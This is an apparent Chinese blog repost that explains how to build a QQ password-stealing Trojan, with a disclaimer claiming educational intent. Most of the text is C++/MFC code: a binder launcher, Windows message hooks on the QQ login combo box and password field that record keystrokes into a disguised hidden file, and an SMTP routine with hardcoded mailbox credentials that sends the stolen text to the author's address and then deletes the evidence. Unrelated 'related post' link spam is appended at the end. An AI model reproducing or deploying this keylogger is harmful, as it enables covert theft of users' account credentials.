原帖:http://blog.csdn.net/fengzi_zhu/archive/2003/03/25/14331.aspx

总序

声明:

本文只适合初学者,“帮助”他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西。毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的原动力,同时也揭开网上各种各样的QQ密码截取器的神秘面纱。郑重声明本人公布这篇文章并不鼓励大家去窃取他人的帐号密码,所以在此只贴出一些重要的体现技术原代码。

废话不多说了,先介绍一下本程序的构思及使用的相关技术。

1.手动或自动绑定目标文件,自动分解出DLL和原文件并运行。

本程序使用的绑定文件技术是最原始的,会被杀毒软件轻易识破,被绑定的文件结构如下:

当然也可以通过修改PE文件结构,插入木马程序到SECTION中,该方法技术要求比较高。(本人没去实践过,在这里就不多说了)

2.调用自己分解出的DLL,对目标文件运行的相关线程设置消息钩子。将截获的文本内容存储在指定的文件中。

3.从指定的文件取得发送内容,使用ESMTP发送邮件到指定信箱

在看看程序的制作及运行流程:(建议把图拷下来用ACDSEE放大看,该图是使用Visio做的,做的不好,见笑了)

上图说明:Setup.exe是本程序编译连接后的执行的第一个文件

Hook.dll是导出挂钩函数的动态连接库

Server.exe是Setup.exe运行后绑定了Hook.dll的PE文件,它可以绑定除DLL文件外的所有文件

123456.exe是Temp.exe运行后分解出的内容与Server.exe相同的PE文件

下面分析一下主程序的代码:

if (!AfxSocketInit()) { AfxMessageBox("IDP_SOCKETS_INIT_FAILED"); return FALSE; } //通过本文件的长度来确定该程序的运行方式 CBindFile curFile; if(!curFile.Initiate()) //主要枢纽,将在后面的绑定文件类中详细说明 return true; //取得分解出的PE文件运行进程信息 PROCESS_INFORMATION PI; ZeroMemory(&PI, sizeof(PI)); curFile.GetRunFileProcessInfo(PI); //等待该子进程进入消息循环 if(0 != WaitForInputIdle(PI.hProcess, INFINITE)) { MessageBox(NULL, "等待进入消息循环出错!", NULL, NULL); return false; } //开始挂钩 hDllModule = GetModuleHandle("hook.dll"); if(NULL == hDllModule) { hDllModule = LoadLibrary("hook.dll"); if(NULL == hDllModule) { MessageBox(NULL, "DllModule is NULL", "PRINT", MB_OK); return false; } //取得导出函数的地址 Hook_Start Hook_Start_Address; Hook_Start_Address = (Hook_Start)GetProcAddress(hDllModule, "Hook_Start"); if(NULL == Hook_Start_Address) return false; if(!(Hook_Start_Address)(PI.dwThreadId)) { MessageBox(NULL, "Can not complete hook!", NULL, NULL); return false; } } //等待分解出的第二个文件运行的程序结束 DWORD dwWaitingTime = 2*60*1000; //等待时间为2分钟 WaitForSingleObject(PI.hProcess, dwWaitingTime); DWORD dwExitCode; GetExitCodeProcess(PI.hProcess, &dwExitCode); //2分钟后结束挂钩 if(NULL != hDllModule) { Hook_Stop Hook_Stop_Address; Hook_Stop_Address = (Hook_Stop)GetProcAddress(hDllModule, "Hook_Stop"); if(NULL == Hook_Stop_Address) { ::FreeLibrary(hDllModule); return false; } (Hook_Stop_Address)(); ::FreeLibrary(hDllModule); } //发送邮件 SendEMail(); //运行结束后删除分解出的临时文件 if(STILL_ACTIVE == dwExitCode) { WaitForSingleObject(PI.hProcess, INFINITE); GetExitCodeProcess(PI.hProcess, &dwExitCode); } CloseHandle(PI.hThread); CloseHandle(PI.hProcess); DeleteFile(curFile.GetSecFilePath()); return true;

下面是SendEMail函数

bool CSetupApp::SendEMail() { HANDLE hFile = NULL; DWORD dwDummy = 0; BOOL bResult = FALSE; TCHAR *lpFileString = NULL; //文件数据缓冲区 DWORD dwFileSize = 0; //文件长度 hFile = CreateFile(FILE_PATH_NAME, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL); if(INVALID_HANDLE_VALUE == hFile) return false; dwFileSize = GetFileSize(hFile, NULL); lpFileString = new TCHAR[dwFileSize+1]; if(NULL == lpFileString) return false; ZeroMemory(lpFileString, dwFileSize+1); SetFilePointer(hFile, 0, NULL, FILE_BEGIN); bResult = ReadFile(hFile, lpFileString, dwFileSize, &dwDummy, NULL); CloseHandle(hFile); if(0 != lstrlen(lpFileString)) { //将数据文件发送到指定的信箱 MAILMSG mailMsg; lstrcpy(mailMsg.mail_server_name, "smtp.21cn.com"); mailMsg.mail_server_port = 25; lstrcpy(mailMsg.mail_account, "zyfxyz"); lstrcpy(mailMsg.mail_password, "12345678"); //这里最好使用加密后的字符串,//不然的话在PE文件的.data节中//可以看到你的密码 lstrcpy(mailMsg.mail_from_address, "zyfxyz@21cn.com"); lstrcpy(mailMsg.mail_to_address, "zyfxyz@21cn.com"); lstrcpy(mailMsg.mail_subject, "Return"); ZeroMemory(mailMsg.mail_content, sizeof(mailMsg.mail_content)); if(dwFileSize > 800) //每次发送的DATA内容大小不得超过1000bytes dwFileSize = 800; lstrcpyn(mailMsg.mail_content, lpFileString, dwFileSize+1); CSmtp_fz smtp(mailMsg); if(smtp.SendMail()) { //如果发送成功则删除数据文件 MessageBox(NULL, "发送成功,删除数据文件", NULL, NULL); DeleteFile(FILE_PATH_NAME); //FILE_PATH_NAM文件存放截获文本数据 } } delete[] lpFileString; return true; }

后面几篇将分别详细解释绑定文件类CBindFile,邮件发送类CSmtp_fz以及Hook.dll的代码。

-------------------------------------------------------------------------------

0、DLL的调试

1、邮件发送篇

2、HOOK篇

----------------

假设:
    要调试hook.dll hook.h hook.lib

1。建立一个新工程Test,将hook整个工程目录拷贝到Test目录下

2。在Test工程中需要用到hook.dll的源文件中(或stdafx.h中)加入
     #include "./hook/hook.h"
   这样在该源文件中使用"::"就可以索引到hook.h中所有的导出函数、
   变量以及类
  
3。在Test的工程设置->Link->Object/library modules中加入
     ./hook/debug/hook.lib

4。编译连接好Test之后,发现未找到hook.dll. 这需要设置path.
   可以在工程设置->Debug->Working directory中加入
     e:/Test/hook/debug/
   也可以在autoexe.bat中设置路径

5。通过工程->Insert Project into Workspace将hook.dsp工程加入 
   Test项目中。

6。设置hook工程为活动工程,在工程>Debug>Executable for 
   Debug session中加入: 
     e:/test/debug/test.exe

7。现在设置断点,按F5可以正常调试了

注意:当调试的DLL被映射到其他的应用程序(非TEST)进程空间并运行时,在该DLL中设置的断点无效,当然可以通过MessageBox来查看变量,若该DLL是MFC扩展DLL,则还可以用TRACE或afxDump来查看变量。

-------------------------------------------------------------

以往各网站的EMail系统均是根据标准的SMTP协议编写的,现在为了更有效地抑制垃圾邮件的泛滥,国内各大免费邮箱提供商纷纷开始采用ESMTP的方式设计E-mail收发服务。发送邮件需要对用户的身份进行验证,如果帐号和密码有误,ESMTP服务器则拒绝发送该邮件返回553错误代码。通过对协议的分析我找到设计这样EMail的方法,我们可以用Visual Baisc轻松完成。

  一、 认证方式

  ESMTP(Extension SMTP)即认证的邮件传输方式,是邮件服务器系统为了限制非本系统的正式用户利用本系统散发垃圾邮件或其他不当行为而开设的一项安全认证服务。它与传统的SMTP方式相比,主要的不同有两点:

  1. 支持8-bit MIME格式的编码。

  2. 支持用户身份的验证。

  多了一道用户身份的验证手续,验证之后的邮件发送过程与传统的SMTP方式一致。为了方便用户的使用,绝大多数的ESMTP服务器都继承了POP3服务器的帐号和密码设置体系,也就是说收发邮件都用同一个帐号和密码。

  根据[RFC 2554]规范,SMTP的认证功能主要是增加了AUTH命令。AUTH命令有多种用法,而且有多种认证机制。AUTH支持的认证机制主要有LOGIN,CRAM-MD5[注1]等。LOGIN应该是大多数免费邮件服务器都支持的,网易与新浪都支持。下面主要针对LOGIN方式进行介绍,其它方式请根据相应的RFC 规范进行修改。

LOGIN 方式口令-应答过程如下(S:表示服务器返回,C:表示客户端发送)

  1. C: AUTH LOGIN

  2. S: 334 dXNlcm5hbWU6      // dXNlcm5hbWU6是username:的BASE64编码

  3. C: dXNlcm5hbWU6

  4. S: 334 cGFzc3dvcmQ6     // cGFzc3dvcmQ6是password:的BASE64编码

  5. C: cGFzc3dvcmQ6

  6. S: 235 Authentication successful.

   (1). 为客户端向服务器发送认证指令。

   (2). 服务端返回base64编码串,成功码为334。编码字符串解码后为"username:",说明要求客户端发送用户名。

   (3). 客户端发送用base64编码的用户名,此处为"username:"。

   (4). 服务端返回base64编码串,成功码为334。编码字符串解码后为"password:",说明要求客户端发送用户口令。

   (5). 客户端发送用base64编码的口令,此处为"password:"。

   (6). 成功后,服务端返回码为235,表示认证成功可以发送邮件了

二:BASE64编码原理 (BBS 水木清华站Visualc版)

Base64编码其实是将3个8位字节转换为4个6位字节,( 3*8 = 4*6 = 24 ) 这4个六位字节 其实仍然是8位,只不过高两位被设置为0. 当一个字节只有6位有效时,它的取值空间为0 到 2的6次方减1 即63,也就是说被转换的Base64编码的每一个编码的取值空间为(0~63) 。

事实上,0~63之间的ASCII码有许多不可见字符,所以应该再做一个映射,映射表为

‘A‘ ~ ‘Z‘ ? ASCII(0 ~ 25)

‘a’ ~ ‘z‘ ? ASCII(26 ~ 51)

‘0’ ~ ‘9‘ ? ASCII(52 ~ 61)

‘+‘ ? ASCII(62)

‘/‘ ? ASCII(63)

这样就可以将3个8位字节,转换为4个可见字符。

具体的字节拆分方法为:(图(画得不好,领会精神 :-))

aaaaaabb ccccdddd eeffffff   //abcdef其实就是1或0,为了看的清楚就用abcdef代替

~~~~~~~~ ~~~~~~~~ ~~~~~~~~

字节 1 字节 2 字节 3

||

//

00aaaaaa 00bbcccc 00ddddee 00ffffff

注:上面的三个字节位原文,下面四个字节为Base64编码,其前两位均为0。

这样拆分的时候,原文的字节数量应该是3的倍数,当这个条件不能满足时,用全零字节

补足,转化时Base64编码用=号代替,这就是为什么有些Base64编码以一个或两个等号结

束的原因,但等号最多有两个,因为:如果F(origin)代表原文的字节数,F(remain)代

表余数,则

F(remain) = F(origin) MOD 3 成立。

所以F(remain)的可能取值为0,1,2.

如果设 n = [F(origin) – F(remain)] / 3

当F(remain) = 0 时,恰好转换为4*n个字节的Base64编码。

当F(remain) = 1 时,由于一个原文字节可以拆分为属于两个Base64编码的字节,为了

让Base64编码是4的倍数,所以应该为补2个等号。

当F(remain) = 2 时,由于两个原文字节可以拆分为属于3个Base64编码的字节,同理,

应该补上一个等号。

三:邮件格式

也就是服务器要求输入DATA的时候,客户输入的邮件整个内容,如果输入的邮件格式不符服务器拒绝发送邮件返回441邮件头的某些域不符合服务器要求的格式。

头标由一个域名开始,然后一个冒号,接着是域主体部分,最后是<CRLF>序列指示行结束。下面的头标是必须的:

Date                     指示创建这个消息的时间和日期    发信时间

From,或者Sender和From  包含发送该消息的用户标志        发件箱

To,cc(抄送)或Bcc(密抄)  包含消息希望被发送到的用户标志  收件箱

其他的一些头标域是可选的,如:Return-path Reply-To, References, Keywords, Subject, Comments, Encrypted等这里就不一一解释了。

在本程序中使用CSmtp_fz类来发送邮件,其中成员函数InitContent完成对DATA数据的格式化如下:

void CSmtp_fz::InitContent()

{

CTime time = CTime::GetCurrentTime();

CString strContent[5];

//发件人

strContent[0].Format("From: %s/r/n",

m_mailMsg.mail_from_address);

//时间

strContent[1].Format("Date: %s/r/n",

time.Format("%A, %B %d, %I:%M:%S, %Y"));

//收件人

strContent[2].Format("To: %s/r/n",

m_mailMsg.mail_to_address);

//主题

strContent[3].Format("Subject: %s/r/n",

m_mailMsg.mail_subject);

//正文

strContent[4].Format("Content %s/r/n",

m_mailMsg.mail_content);

m_strContent = strContent[0] + strContent[1] + strContent[2]

+ strContent[3] + strContent[4];

return;

}

m_strContent是CSmtp_fz类的成员变量,用于存放要发送的数据内容。

四:邮件发送

bool CSmtp_fz::SendMail()

{

InitContent();

CSocket socket;

CString str, strResponse;

CBase64 base64;

if(!socket.Create())

return false;

if (socket.Connect(m_mailMsg.mail_server_name,

m_mailMsg.mail_server_port))

{

CSocketFile file(&socket);

CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);

CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);

while (TRUE)

{

// SMTP server ready

//Say HELLO TO MAIL SERVER

arIn.ReadString(strResponse);

if ("220" != strResponse.Left(3)) break;

CString strTemp;

gethostname(strTemp.GetBuffer(256), 256);

strTemp.ReleaseBuffer();

str.Format("HELO %s/r/n", (LPCSTR)strTemp);

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("250" != strResponse.Left(3)) break;

//CERTIFICATION

str = "AUTH LOGIN /r/n";

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("334" != strResponse.Left(3)) break;

str = base64.Encode(LPCSTR(m_mailMsg.mail_account),

sizeof(m_mailMsg.mail_account));

str = str + "/r/n";

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("334" != strResponse.Left(3)) break;

str = base64.Encode(LPCSTR(m_mailMsg.mail_password),

sizeof(m_mailMsg.mail_password));

str = str + "/r/n";

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("235" != strResponse.Left(3)) break;

// MAIL FROM command

str.Format("MAIL FROM: <%s>/r/n",

(LPCSTR)(m_mailMsg.mail_from_address));

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

if ("250" != strResponse.Left(3)) break;

// RCPT TO command

str.Format("RCPT TO: <%s", m_mailMsg.mail_to_address);

str = str + ">/r/n";

arOut.WriteString(str); arOut.Flush();

arIn.ReadString(strResponse);

strResponse = strResponse.Left(3);

if (("250" != strResponse) && ("251" != strResponse)) break;

// DATA command

arOut.WriteString("DATA/r/n"); arOut.Flush();

arIn.ReadString(strResponse);

strResponse = strResponse.Left(3);

if (("250" != strResponse) && ("354" != strResponse))break;

//发送数据

CString strBuffer;

strBuffer = m_strContent;

// . -> ..

// .. -> ...

if ((!strBuffer.IsEmpty()) && ('.' == strBuffer[0]))

strBuffer = '.' + strBuffer;

str = strBuffer;

arOut.WriteString(str);

arOut.WriteString("./r/n"); arOut.Flush();

arIn.ReadString(strResponse);

if("250" != strResponse.Left(3))break;

// QUIT command

arOut.WriteString("QUIT/r/n"); arOut.Flush();

arIn.ReadString(strResponse);

return true;

}

}

else

{

str.Format("SMTP Host %s can't reach.", m_mailMsg.mail_server_name);

MessageBox(NULL, str, "Error", MB_OK);

return false;

}

MessageBox(NULL, "Connection is reset.", "Error", MB_OK);

return false;

}

----------------------------------------------------

首先让我们来回顾一下Windows的消息分类。

l        WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息

硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。

l        WM_COMMAND命令消息

凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。

l        WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。

控件分 标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND

常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY

l        WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。

下图是Windows消息处理机制图:

     通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:

l         WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息

l         WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息

l         WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())

l         WH_KEYBOARD 监视键盘消息

l         WH_MOUSE 监视鼠标消息

要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:

l         “S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC

l         “R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET

l         “P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用

WH_GETMESSAGE捕捉。

因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。

hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);

WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。

hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);

WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。

下面是这两个钩子消息处理函数的代码:

HINSTANCE g_hinstDll          = NULL;         // instance handle

HWND   g_hwndComboBox         = NULL;      //Handle of window to be monitored

HWND   g_hwndEdit                 = NULL;

TCHAR g_lpszEditDump[32] = {0};      //键盘输入Edit控件的内容

BOOL      g_fSingleEnter  = true;     //一次键盘输入POST两次WM_CHAR

//

#pragma data_seg("Shared")

HHOOK  g_hhook1                       = NULL;             // Hook handle for thread-specific hook

HHOOK  g_hhook2             = NULL;

const char g_classname1[]   = "ComboBox";

const char g_classname2[]   = "Edit";   //for class name you want to monitor

#define FILE_PATH_NAME      "c://ravdataq.dat"

#pragma data_seg()

/

static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)

{

TCHAR  lpszClassName[16] = {0};         //消息所属窗口类名字

int      nIndex            = 0;           //ComboBox所选内容的序列号

TCHAR  lpszComboBox[16] = {0};         //ComboxBox所选的字符串内容

TCHAR  lpszDump[64]    = {0};          //组合框写入文件的字符串

TCHAR  lpString[64]      = {0};          //编辑框写入文件的字符串

CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;

if(nCode != HC_ACTION || wParam != NULL)

{

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

switch (pmsg->message)

{

case WM_GETTEXT:

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定的组合框

if((0 == lstrcmp(lpszClassName, g_classname1)) &&

(NULL == g_hwndComboBox))

{

g_hwndComboBox = pmsg->hwnd;

}

if(g_hwndComboBox == pmsg->hwnd)

{

//取得当前ComboBox选择的序号

nIndex =(int) SendMessage(g_hwndComboBox,

CB_GETCURSEL, 0, 0);

if(CB_ERR == nIndex)

{

//若没有选择则退出

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));

wsprintf(lpszDump, "  Index = %d content = %s ",

nIndex, lpszComboBox);

//写入文件

fzWriteFile(lpszDump);

}

break;

case WM_KILLFOCUS:

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定应用程序下的编辑框

if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

(g_hwndEdit != NULL))

{

//判断是否是密码框

if(::GetWindowLong(g_hwndEdit, GWL_STYLE) &

ES_PASSWORD)

{

wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);

}

else

{

wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump);                       }

//将存储起来的字符串写入文件

fzWriteFile(lpString);

//清除一些全局变量

g_hwndEdit = NULL;

ZeroMemory(g_lpszEditDump, 32);

}

break;

}

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

/

static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)

{

TCHAR  lpStr[2]         = {0};                  //存储按键字符

char   lpszClassName[16] = {0};

TCHAR   CR = 0x0D;                 //回车

LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);

PMSG pmsg = (PMSG)lParam;

if (nCode == HC_ACTION)

{

switch (pmsg->message)

{

case WM_CHAR:  //截获发向焦点窗口的键盘消息

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定应用程序下的编辑框

if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

(g_hwndEdit == NULL))

{

g_hwndEdit = pmsg->hwnd;

}

if (g_hwndEdit == pmsg->hwnd)

{

if(g_fSingleEnter)

{

lpStr[0] = (TCHAR)(pmsg->wParam);

lpStr[1] = '/0';

lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);

g_fSingleEnter = false;

}

else

{

g_fSingleEnter = true;

}

}

break;

}

}

return(lResult);

}

有关DLL的调试,请看本人发表的另一篇文章《DLL的调试》。

自己动手做QQ-特洛伊相关推荐

  1. 自己动手做QQ木马-----总序

    自己动手做QQ木马-----总序 声明: 本文只适合初学者,"帮助"他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西.毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的 ...

  2. 自己动手做QQ木马--文件绑定篇(转)

    自己动手做QQ木马--文件绑定篇(转) 代码如下:   //根据返回值判断是否继续执行本文件   bool CBindFile::Initiate()   {   int i = 0, k = 0;  ...

  3. 自己动手做QQ木马-----HOOK篇

    自己动手写QQ木马-----HOOK篇 首先让我们来回顾一下Windows的消息分类. l        WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息 硬件的输入消息 ...

  4. 自己动手做QQ空间音乐的链接

    下面三种方法随便选择一个都可以制作: 一.用邮箱中转站制作方法:如何做空间音乐链接?1.先下载自己想要的歌曲.要制作时把歌曲名字重命名得简单一点点,比如数字1,这样链接才不会过长.2. 打开QQ邮箱, ...

  5. 自己做QQ–后台搭建

    现在聊天的软件越来越多了,类似QQ,微信,陌陌,层出不穷,这篇文章小编就大家演示一下如何搭建如何自己动手做一个QQ,是不是很狂野炫爆叼炸天,哈哈哈,至少装装X是可以的.废话不多说,开工. 小编先罗列一 ...

  6. 自己动手做AI:Google AIY开发工具包解析

    2018年国际消费性电子展(CES)上,最明显的一个趋势是Amazon与Google的语音技术进驻战,如AmazonAlexa进驻到Acer笔电内,Google Assist进驻到KIA汽车内,其他如 ...

  7. Esp8266学习之旅13 动手做个8266毕设小案例,smartConfig + MQTT协议轻松实现远程控制一盏LED。(附带demo)

    本系列博客学习由非官方人员 半颗心脏 潜心所力所写,不做开发板.仅仅做个人技术交流分享,不做任何商业用途.如有不对之处,请留言,本人及时更改. 序号 SDK版本 内容 链接 1 nonos2.0 搭建 ...

  8. 开关面板如何自己印字_如何自己动手做一个智能开关

    现在的智能家居这么火,对于想自己动手的小伙伴们来说,都想自己去做一些家里使用 的智设备.现在的中国不缺卖唱卖惨的,缺的是能动手创造一些能实际使用的而不是哗众取宠的人,天天喊着要反击外国技术封锁.那么我 ...

  9. proteus仿真micropython_【雕爷学编程】MicroPython动手做(04)——零基础学MaixPy之尝试运行...

    1.hello micropython #MicroPython动手做(04)--零基础学MaixPy之基本示例 #程序之一:hellomicropython #MicroPython动手做(04)- ...

  10. 不使用物理引擎,自己动手做真实物理的模拟投篮游戏

    最近打算做一个2D投篮游戏,由于对于BOX2D等物理引擎并不熟悉,加之一开始低估了游戏所需要的碰撞检测复杂度,认为仅仅涉及4面墙,篮球,篮板,篮筐,篮网的碰撞检测并不复杂.因此决定自己实现所需要的碰撞 ...

最新文章

  1. 破解数据流通痛点,华控清交的隐私计算之道
  2. 雷军在小米直面会丢的面子,在年度演讲都找回来了
  3. Android分享功能
  4. android学习笔记之ProgressDialog的使用
  5. vue-router之路由钩子(八)
  6. mysql约束类型 A P_sql数据类型与约束总结
  7. eval()函数和zip()函数用法、enumerate()
  8. 基于JAVA+SpringMVC+Mybatis+MYSQL的论坛管理系统
  9. Luogu4725 【模板】多项式对数函数(NTT+多项式求逆)
  10. 线程创建方式3-实现 callable接口(Java)
  11. 【数学题】Multicolored Markers【codeforces-Round #506-div3-F】
  12. 网页设计软件html图标,网页设计Photoshop(PS)CSS切图必用工具
  13. excel换行快捷键_超实用的16个Excel快捷键,一定要收藏!
  14. 超详细的装饰器Decorators解读--附实例
  15. 中国移动号码手机开机以及注册gprs流程
  16. 良心推荐:看完这10部豆瓣高分美剧,英语水平提升几个Level!
  17. session 是什么
  18. 转载——神经网络中mAP相关概念
  19. 高新技术企业避坑解读之“盲目跟风”
  20. sql插入语句中value中含有单引号

热门文章

  1. JZOJ 5947. 【NOIP2018模拟11.02】初音未来(miku)
  2. Redis 安装及查看配置
  3. DNS 标志位简要解析
  4. js jq 如何获取文本节点
  5. STM32F103+NRF2401+游戏摇杆ADC双单片机通信遥控小车
  6. 注册表启动项的具体位置
  7. NYOJ 971 爬行的蚂蚁
  8. Pytorch基础知识(15)基于PyTorch的多标签图像分类
  9. MATLAB算法实战应用案例精讲-【智能优化算法】多目标蚁狮优化算法(MOALO)(附matlab代码实现)
  10. 【优化算法】多目标蚁狮优化算法(MOALO)【含Matlab源码 1598期】